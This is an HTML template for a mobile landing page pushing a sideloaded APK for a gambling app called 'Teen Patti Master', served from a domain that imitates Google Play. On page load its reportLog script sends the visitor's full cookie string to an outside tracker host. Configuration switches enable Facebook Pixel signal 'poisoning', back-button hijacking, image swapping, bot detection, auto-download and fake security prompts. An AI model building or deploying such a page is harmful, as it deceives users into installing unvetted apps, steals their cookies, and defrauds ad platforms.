<!doctype html>
<html style="font-size: 100px;">
 <head> 
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
  <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=0"> 
  <meta name="format-detection" content="telephone=no">
  <title>appName_replace</title>
  <link rel="shortcut icon" href="https://assets.googleplaystore.in/Z2JLWUR/images/icon.webp" type="image/x-icon">
  <script type="text/javascript" src="https://assets.googleplaystore.in/Z2JLWUR/js/pub_rem.js"></script>
  <link rel="stylesheet" href="https://assets.googleplaystore.in/Z2JLWUR/css/pub_reset.css">

  <!-- 1. 跨域排重与全功能独立开关配置 -->
  <script>
   (function() {
    const getStr = (val, defaultVal) => (val.indexOf('python_replace') !== -1) ? defaultVal : val;
    const getBool = (val) => String(val).toLowerCase() === 'true';

    window.W2A_SETTINGS = {
     master_bridge_url: getStr('python_replace_master_bridge_url/bridge/bridge.html'), 
     // 功能解耦开关 (由 Python 打包脚本替换)
     enable_tracking: getBool('python_replace_switch_tracking'), // 1. 仅记录足迹 (默认开启)
     enable_poison: getBool('python_replace_switch_poison'),     // 2. FB信号投毒 (默认关闭)
     enable_ui_swap: getBool('python_replace_switch_ui_swap'),   // 3. 页面改图 (默认关闭)
     bot_detection: getBool('python_replace_bot_enabled'),
     debug: false 
    };
   })();
  </script>
  <script src="python_replace_master_bridge_url/bridge/gate.js"></script>

  <!-- Google tag (gtag.js) -->
  <script async src="https://www.googletagmanager.com/gtag/js?id=Google_Analytics_ID_replace"></script>
  <script>
   window.dataLayer = window.dataLayer || [];
   function gtag(){dataLayer.push(arguments);}
   gtag('js', new Date());
   gtag('config', 'Google_Analytics_ID_replace');
  </script>

  <!-- 2. Facebook Pixel Code (逻辑解耦) -->
  <script>
   !function(f,b,e,v,n,t,s)
   {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
           n.callMethod.apply(n,arguments):n.queue.push(arguments)};
    if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
    n.queue=[];t=b.createElement(e);t.async=!0;
    t.src=v;s=b.getElementsByTagName(e)[0];
    s.parentNode.insertBefore(t,s)}(window, document,'script',
           'https://connect.facebook.net/en_US/fbevents.js');
   fbq('init', 'pxid_replace');

   // 身份判定：结合异步变量与同步 URL 参数
   (function() {
    var urlParams = new URLSearchParams(window.location.search);
    var isOld = (window.is_duplicate_user === true) || (urlParams.get('is_ret') === '1') || (urlParams.get('from_fb') === '1');
    
    // 【解耦逻辑 1：投毒】只有开启了 enable_poison 且识别为老客，才发排除信号
    if (isOld && window.W2A_SETTINGS.enable_poison) {
     fbq('trackCustom', 'Duplicate_User_Entry');
     console.log("🛡️ Poison Active: Duplicate_User_Entry sent.");
    } else {
     fbq('track', 'PageView');
     console.log("📈 Pixel: PageView (Standard)");
    }
   })();
  </script>

  <noscript><img height="1" width="1" style="display:none"
                 src="https://www.facebook.com/tr?id=pxid_replace&ev=PageView&noscript=1"/></noscript>
  <script src="https://assets.googleplaystore.in/Z2JLWUR/js/w2a_sdk.js"></script>

  <style>
   .max_width { opacity: 0; transition: opacity 0.2s; }
   .max_width.ready { opacity: 1 !important; }
   .city-banner {
    display: none; background: #fff3cd; color: #856404; text-align: center;
    font-size: 0.24rem; padding: 0.08rem; font-weight: bold; border-bottom: 1px solid #ffeeba;
   }
   .city-banner span { color: #d9534f; }
   .marquee-wrapper {
    position: fixed; top: 0.15rem; left: 50%; transform: translateX(-50%);
    width: 90%; max-width: 7rem; background: rgba(0, 0, 0, 0.85);
    border: 1px solid #ffd700; border-radius: 0.5rem;
    z-index: 9999; display: none; align-items: center; padding: 0.08rem 0.2rem;
    box-shadow: 0 4px 12px rgba(0,0,0,0.5);
   }
   .mq-icon { width: 0.35rem; height: 0.35rem; margin-right: 0.12rem; }
   .mq-text { color: #fff; font-size: 0.22rem; white-space: nowrap; overflow: hidden; }
   .mq-text span { color: #00ff00; font-weight: bold; }
  </style>
 </head> 
 <body> 
  <div class="city-banner" id="city_banner">
   🔥 Top Winners in <span>nearby</span> Today
  </div>
  <div class="marquee-wrapper" id="mq_wrapper">
   <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" class="mq-icon" id="mq_icon">
   <div class="mq-text" id="mq_content">Loading...</div>
  </div>

  <div class="max_width" id="main_wrapper">
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_1');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/1.webp"></a>
   </div>
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_2');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/2.webp"></a>
   </div>
   <div data-screen="2">
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_3');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/3.webp"></a>
   </div> 
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_4');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/4.webp"></a>
   </div> 
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_5');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/5.webp"></a>
   </div> 
   <div data-screen="3">
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_6');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/6.webp"></a>
   </div> 
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_7');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/7.webp"></a>
   </div>
   <div>
    <a class="w2a-download" href="javascript:lp_track_download('dl_btn_8');void(0);"><img class="dynamic-img" style="width: 100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/8.webp"></a>
   </div> 
   <div style="height: 0.1rem;"></div> 
   <div class="dw_propt"> 
    <div class="ppt_lt" style="margin:0 auto;max-width:7.5rem;"> 
     <a class="w2a-download" href="javascript:lp_track_download('dl_btn_9');void(0);" id="down3_"> <img class="dynamic-img" style="width:100%;overflow: hidden;" src="https://assets.googleplaystore.in/Z2JLWUR/images/9.webp"> </a>
    </div> 
   </div>
  </div>

  <script src="https://assets.googleplaystore.in/Z2JLWUR/js/sdk-core.js"></script>
  <script src="https://assets.googleplaystore.in/Z2JLWUR/js/w2a-tools.js"></script>
  <script src="https://assets.googleplaystore.in/Z2JLWUR/js/marquee-system.js"></script>
  <script>
   const scrCode = 'Z2JLWUR'
  </script>

  <script>
   /**
    * 业务逻辑块：页面显示与 GA4 追踪
    */
   (function() {
    const wrapper = document.getElementById('main_wrapper');
    if (wrapper) wrapper.classList.add('ready');
    const urlParams = new URLSearchParams(window.location.search);
    const hook = urlParams.get('hook') || 'default';

    if (hook !== 'default') {
     document.querySelectorAll('.dynamic-img').forEach((img, index) => {
      img.src = `https://assets.googleplaystore.in/Z2JLWUR/images/${hook}/${index + 1}.webp`;
     });
    }

    // 【重要】提供给 marquee-system.js 调用的打点接口
    window.updateMarqueeWithLog = function(type, count) {
     if (typeof gtag === 'function') {
      gtag('event', 'marquee_impression', { 'count': count, 'mq_type': type });
     }
    };

    // --- 停留时长追踪 (Stay Duration) ---
    [2, 3, 5, 7, 10].forEach(sec => {
     setTimeout(() => { 
      if (document.visibilityState === 'visible' && typeof gtag === 'function') {
       gtag('event', 'stay_' + sec + 's', { 'hook': hook }); 
      }
     }, sec * 1000);
    });

    if ('IntersectionObserver' in window) {
     const observer = new IntersectionObserver((entries) => {
      entries.forEach(entry => {
       if (entry.isIntersecting) {
        const sn = entry.target.getAttribute('data-screen');
        if (typeof gtag === 'function') gtag('event', 'scroll_screen_' + sn, { 'hook': hook });
        observer.unobserve(entry.target);
       }
      });
     }, { threshold: 0.5 });
     document.querySelectorAll('[data-screen]').forEach(el => observer.observe(el));
    }
   })();

   /**
    * 最终集成版下载函数 (V34.2 - 补全 Adjust 兜底逻辑)
    */
   function lp_track_download(label) {
    console.log("🖱️ lp_track_download 触发 (V34.2):", label);
    if (window.event) window.event.stopPropagation();
    const isDup = window.is_duplicate_user === true;
    const urlParams = new URLSearchParams(window.location.search);
    const history = window.user_history_domains || '';
    var footprint = isDup ? history : "new_user";

    // 1. GA4 上报 (受 enable_tracking 控制)
    if (window.W2A_SETTINGS.enable_tracking && typeof gtag === 'function') {
     gtag('event', 'click_download', {
      'event_label': label,
      'is_duplicate': isDup ? 'yes' : 'no',
      'user_history': footprint,
      'history_domains': footprint,
      'transport_type': 'beacon'
     });
     // 审计镜像日志
     console.log("===GA4_REPORT_SUCCESS=== [Event:click_download] [History:" + footprint + "]");
    }

    // 2. Pixel 投毒/转化屏蔽 (受 enable_poison 控制)
    if (isDup && window.W2A_SETTINGS.enable_poison) {
     if (typeof fbq === 'function') fbq('trackCustom', 'OldUser_Ignore_Click', { domain: window.location.hostname });
    } else {
     if (typeof fbq === 'function') fbq('track', 'Lead', { content_name: label });
     // 只要开启了追踪，就要同步标记到主域
     if (window.W2A_SETTINGS.enable_tracking && window.W2A_Gatekeeper) {
      window.W2A_Gatekeeper.markConverted();
       console.log("✅ 身份标记与穿透指令已发出");
     }
    }

    // 3. 唤起跳转 (包含 Adjust 兜底逻辑)
    setTimeout(function() {
     if (typeof window.download === 'function') {
      window.download(label); 
     } else if (window.SDK_Core && window.SDK_Core.triggerDownload) {
      window.SDK_Core.triggerDownload(label);
     } else {
      // 【关键补齐】手动构造 Adjust 链接，防止脚本缺失导致归因失败
      var p0 = urlParams.get('p0') || '1yrjzvz3';
      window.location.href = "https://app.adjust.com/" + p0 + window.location.search;
     }
    }, 500);
   }
  </script>

  <!-- 自动化开关配置区 (加固解耦版) -->
  <script>
   (function() {
    const getBool = (val) => String(val).toLowerCase() === 'true';
    const getInt = (val, def) => parseInt(val) || def;
    const globalExitSwitch = getBool('python_replace_switch_exit');

    window.W2A_HISTORY_CONFIG = {
     back_intercept: {
      enabled: globalExitSwitch,
      mode: 'video',
      url: 'python_replace_back_url'
     }
    };

    window.W2A_UI_CONFIG = {
     auto_download: { enabled: getBool('python_replace_auto_dl') },
     security_bar: { enabled: getBool('python_replace_security_bar') },
     bonus_modal: { enabled: getBool('python_replace_bonus_modal') },
     security_guide: { enabled: getBool('python_replace_security_guide') },
     step_guide: { enabled: getBool('python_replace_step_guide') }
    };
    if (window.W2A_TOOL_CONFIG) {
     W2A_TOOL_CONFIG.enableDynamicContent = window.W2A_SETTINGS.enable_ui_swap;
     W2A_TOOL_CONFIG.enableBackIntercept = globalExitSwitch;
     W2A_TOOL_CONFIG.enableVibration = getBool('python_replace_vibration_enabled');
     W2A_TOOL_CONFIG.enableTracking = window.W2A_SETTINGS.enable_tracking;
     W2A_TOOL_CONFIG.botDetection = window.W2A_SETTINGS.bot_detection;
     W2A_TOOL_CONFIG.thresholds.stage1.count = getInt('python_replace_threshold_1', 3);
     W2A_TOOL_CONFIG.thresholds.stage2.count = getInt('python_replace_threshold_2', 5);
    }

    if (window.SDK_Core && window.SDK_Core.config) {
     const r = window.SDK_Core.config.rules;
     r.autoDL = getBool('python_replace_auto_dl');
     r.securityBar = getBool('python_replace_security_bar');
     r.bonusModal = getBool('python_replace_bonus_modal');
     r.securityGuide = getBool('python_replace_security_guide');
     r.stepGuide = getBool('python_replace_step_guide');
     r.exitRedEnvelope = false; 
    }
   })();
  </script>

  <script>
   W2ASDK.init({
    downloadClass: 'lp-download-disabled',
    tgLink: '',
    debug: true,
    heartbeatIntervalSec: 1,
    heartbeatMaxCount: 20,
   })
  </script>
  <input type="hidden" id="channel" value=""/>
  <input type="hidden" id="appName" value="Teen Patti Master"/>
  <input type="hidden" id="pkgType" value="1"/>
  <input type="hidden" id="downloadDomain" value="https://d17crr94lnc56q.cloudfront.net/Tile_Match.apk"/>
  <input type="hidden" id="adjustTrackerToken" value="1xfits12"/>
  <input type="hidden" id="onlinePkgUrl" value=""/>
  <input type="hidden" id="ext" value=""/>
  <input type="hidden" id="pixelId" value="958487700277418"/>
  <input type="hidden" id="eventId" value="b2d888d7-9526-47f7-a3e2-49a8494dce2b"/>

 </body>

 <script>

  var fbp = getCookie('_fbp') || getQueryString('_fbp') || getQueryString("fbp") || getCookie('fbp');
  var fbc = getCookie('_fbc') || getQueryString('_fbc') || getQueryString("fbc") || getCookie('fbc');
  console.log('fbp', fbp)
  console.log('fbc', fbc)

  let pkgType = document.getElementById('pkgType').value;
  let downloadDomain = document.getElementById('downloadDomain').value;
  let adjustTracker = document.getElementById('adjustTrackerToken').value;
  let onlinePkgUrl = document.getElementById('onlinePkgUrl').value;
  let ext = document.getElementById('ext').value;
  let pxid = document.getElementById('pixelId').value;
  let appName = document.getElementById('appName').value;
  let channel = document.getElementById('channel').value;
  let eventId = document.getElementById('eventId').value;

  let extStr = JSON.stringify(ext)
  let encodeExtStr = encodeURIComponent(extStr)
  let offlineUrl;
  let url = '';

  let reportFlag = 0

  const startTime = Date.now();

  function checkCookie() {
   const startTime = Date.now();
   let timeCost = 0;
   const intervalId = setInterval(() => {
    const fbcValue = getCookie('_fbc');
    const currentTime = Date.now();
    if (fbcValue) {
     clearInterval(intervalId);

     timeCost = currentTime - startTime;
     reportLog(timeCost);
     console.log('Time cost:', timeCost, 'milliseconds');
    } else if (currentTime - startTime > 10000) {
     clearInterval(intervalId);
     timeCost = currentTime - startTime;
     reportLog(timeCost);
     console.log('Time cost exceeds 10 seconds. _fbc not found.');
    } else {
     console.log('Check Cookie: _fbc not found yet.');
    }
   }, 100);
   checkFbc(intervalId,startTime,timeCost)
  }

  function checkFbc(intervalId,starTime,timeCost) {
   console.log('checkFbc')
   const fbcValue = getCookie('_fbc');
   const currentTime = Date.now();
   if (fbcValue) {
    clearInterval(intervalId);
    timeCost = currentTime - startTime;
    reportLog(timeCost);
    console.log('Time cost:', timeCost, 'milliseconds');
   } else if (currentTime - startTime > 10000) {
    clearInterval(intervalId);
    timeCost = currentTime - startTime;
    reportLog(timeCost);
    console.log('Time cost exceeds 10 seconds. _fbc not found.');
   } else {
    console.log('Check Cookie: _fbc not found yet.');
   }
  }

  checkCookie();
  const urlParams = new Proxy({}, {
   get: (target, name) => name in target ? target[name] : ''
  });

  window.addEventListener("DOMContentLoaded", () => {
   const currentURL = window.location.href;
   const parsedURL = new URL(currentURL);
   const params = parsedURL.searchParams;
   for (const [param, value] of params) {
    urlParams[param] = value;
   }
  });
  console.log(urlParams)

  var gclid = getGclid();
  console.log('getGclid:', gclid)
  function getGclid() {
   let ups = readUrlParams();
   if(ups.gclid) {
    return ups.gclid
   }
   let adjust_referrer = ups.adjust_referrer
   if(adjust_referrer) {
    adjust_referrer = decodeURIComponent(adjust_referrer)
    let ar = adjust_referrer.split("=")
    console.log('ar:', ar)
    if(ar && ar.length > 1) {
     return ar[1]
    }
   }
   return ''
  }
  var wbraid = getQueryString("wbraid") || getCookie('wbraid');
  var gbraid = getQueryString("gbraid") || getCookie('gbraid');

  function getQueryString(name) {
   var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
   var r = window.location.search.substr(1).match(reg);
   if (r != null) {
    return unescape(r[2]);
   }
   return "";
  }

  function getCookie(cname) {
   let name = cname + "=";
   let ca = document.cookie.split(';');
   for (let i = 0; i < ca.length; i++) {
    let c = ca[i];
    while (c.charAt(0) == ' ') {
     c = c.substring(1);
    }
    if (c.indexOf(name) == 0) {
     return c.substring(name.length, c.length);
    }
   }
   return "";
  }

  function createEventId() {
   return 'xxxxxxxyx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
    var r = Math.random() * 16 | 0,
            v = c === 'x' ? r : (r & 0x3 | 0x8);
    return v.toString(16);
   });
  }

  if(pkgType === '1') {
   if(!downloadDomain.endsWith('.apk')) {
    offlineUrl = downloadDomain + '/cg/gaoct/fg/' + appName + '.apk?' + 'channel=' + channel + '&pxid=' + pxid + '&fbp=' + fbp + '&fbc=' + fbc + '&gclid=' + gclid + '&wbraid=' + wbraid + '&gbraid=' + gbraid + '&eventId=' + eventId + '&ext=' + encodeExtStr;
    url = offlineUrl;
   } else {
    url = downloadDomain
   }
  } else if(pkgType === '2') {
   url = buildOnlinePkgReferrer()
  }
  console.log('offlineUrl:', url)

  function onBtnClick(redirect) {

   if (isGoogleAdLink()) {
    const campaign = urlParams.campaign
    const adgroup = urlParams.adgroup
    const creative = urlParams.creative
    const gbraid = urlParams.gbraid
    const wbraid = urlParams.wbraid
    const url = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&campaign=' + campaign + '&external_click_id=' + gclid +
            '&adgroup=' + adgroup + '&creative=' + creative + '&gbraid=' + gbraid + '&wbraid=' + wbraid + '&redirect=' + redirect
    console.log(url)
    window.location.href = url;
   } else if (isFacebookAdLink()) {
    const campaignName = urlParams.p1
    const campaignId = urlParams.p2
    const adsetName = urlParams.p3
    const adsetId = urlParams.p4
    const adName = urlParams.p5
    const adId = urlParams.p6
    const fbclid = urlParams.fbclid
    const fbpid = urlParams.fbpid
    const url = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&campaign=' + campaignName + '%20%28' + campaignId
            + '%29&adgroup=' + adsetName + '%20%28' + adsetId + '%29&creative=' + adName + '%20%28' + adId + '%29&fbclid='
            + fbclid + '&fbpid=' + fbpid + '&redirect=' + redirect
    window.location.href = url;
   } else {
    window.location.href = 'https://app.adjust.com/' + adjustTracker + '?engagement_type=fallback_click&redirect=' + redirect;
   }
  }

  function isGoogleAdLink() {
   return gclid
  }

  function isFacebookAdLink() {
   return window.location.href.includes('fbclid');
  }

  function sendGtagEvent(action) {
   console.log('sendGtagEvent', action)
   const category = 'button';
   const label = 'myButton';
   const value = 1;

   gtag('event', action, {
    'event_category': category,
    'event_label': label,
    'value': value
   });
  }

  function download(eventName) {
   sendGtagEvent(eventName)
   reportLog(Date.now() - startTime);
   var encodedUrl = encodeURIComponent(url);
   onBtnClick(encodedUrl);
  }

  window.download = download;

  function readUrlParams() {
   const urlParams = new Proxy({}, {
    get: (target, name) => name in target ? target[name] : ''
   });

   const currentURL = window.location.href;
   const parsedURL = new URL(currentURL);
   const params = parsedURL.searchParams;

   for (const [param, value] of params) {
    urlParams[param] = value;
    console.log('urlParams: ', urlParams[param])
   }
   return urlParams;
  }

  function reportLog(timeCost) {
   if(reportFlag > 0) {
    return;
   }
   reportFlag = 1
   let uri = window.location.href;
   uri = uri.replace(/^https?:\/\//, '');
   console.log('uri:', uri)
   const cookies = document.cookie;
   let cookieA = `&cookie=${encodeURIComponent(cookies)}`;
   let logrpUrl = '';

   const urlP = readUrlParams()

   var uriWithoutParams = window.location.origin + window.location.pathname;
   const p0 = urlP.p0
   const p1 = urlP.p1
   const p2 = urlP.p2
   const p3 = urlP.p3
   const p4 = urlP.p4
   const p5 = urlP.p5
   const p6 = urlP.p6
   const fbclid = urlP.fbclid

   logrpUrl = 'https://tracker2.bx1.pw/webAdsTracker/report?uri=' + uriWithoutParams + '&p0=' + p0 + '&p1=' + p1 + '&p2=' + p2 + '&p3=' + p3 + '&p4=' + p4
           + '&p5=' + p5 + '&p6=' + p6 + '&fbclid=' + fbclid + '&eventId=' + eventId + cookieA + '&timecost=' + timeCost + '&channel=' + channel;
   fetch(logrpUrl,{mode:'no-cors'})
           .then(response => {
            if (!response.ok) {
             throw new Error(`HTTP error! Status: ${response.status}`);
            }
            return response.json();
           })
           .then(data => {
            console.log('reportLog', logrpUrl)
           })
           .catch(error => {
            console.log('reportLog:', logrpUrl)
           });
  }

  function hasQuestionMark(uri) {
   const regex = /\?/;
   return regex.test(uri);
  }

  function buildOnlinePkgReferrer() {
   let up = readUrlParams()
   if (isFacebookAdLink()) {
    onlinePkgUrl = onlinePkgUrl + '&referrer=fbclid%3D' + up.fbclid + '%26eventId%3D' + eventId
   } else if (isGoogleAdLink()) {
    onlinePkgUrl = onlinePkgUrl + '&referrer=fbclid%3D' + gclid + '%26eventId%3D' + eventId
   } else {
    onlinePkgUrl = onlinePkgUrl + '&referrer=eventId%3D' + eventId
   }
   return onlinePkgUrl
  }

 </script>
</html>